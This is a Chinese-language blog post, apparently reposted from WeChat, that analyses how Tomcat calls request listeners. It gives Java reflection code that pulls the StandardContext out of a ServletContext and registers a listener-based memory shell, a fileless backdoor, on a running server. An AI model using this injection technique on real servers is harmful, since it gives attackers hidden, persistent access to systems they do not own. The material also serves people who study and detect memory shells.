今天没有前言,直接开摆。
小弟水平有限,如有不对欢迎指出,以免误人子弟。
相关代码都放在 https://github.com/safe6Sec/MemoryShell
基础知识
还是继续补充上篇文章没讲到的知识点。
网上找了一张图,上面没有Listener,我加了一下。
这期间主要流程大概就是调用各个管道的invoke方法之后,开始依次调用执行listener->filter->servlet
这里只需要对invoke方法有印象就行
原理分析
下面就照着上篇文章的方法,加一个正常的Listener(怎么加自己去研究吧),然后断点看堆栈。
如下图可见,四个invoke就是上面说的几个管道,管道之后就经过一个方法就到了,我们自己加的listener了。然后进入看看
进来后发现,就是直接调用对应listener#requestInitialized方法。
向上分析这个方法,发现是通过getApplicationEventListeners拿到全部的listeners然后进行循环调用requestInitialized
点进去看getApplicationEventListeners方法的实现,发现很简单就是把list转成数组
这就意味着我们只需要把listener加到applicationEventListenersList即可实现内存马的添加。
先看看有没有现成的方法可用,实在没有再用反射实现。找了一下,发现还真有,那么代码就更加简单了。
代码实现
老规矩先拿上下文
//先拿到ServletContext
ServletContext servletContext = req.getServletContext();
Field appctx =servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//从ServletContext里面拿到ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field atx= applicationContext.getClass().getDeclaredField("context");
atx.setAccessible(true);
//从ApplicationContext里面拿到StandardContext
StandardContext standardContext = (StandardContext) atx.get(applicationContext);
随后创建一个Listener内存马添加即可
//准备listener马
ListenerShell listenerShell = new ListenerShell();
//添加到上下文
standardContext.addApplicationEventListener(listenerShell);
没毛病,很简单。
原文始发于微信公众号(safe6安全的成长日记):java内存马分析(四) Listener内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论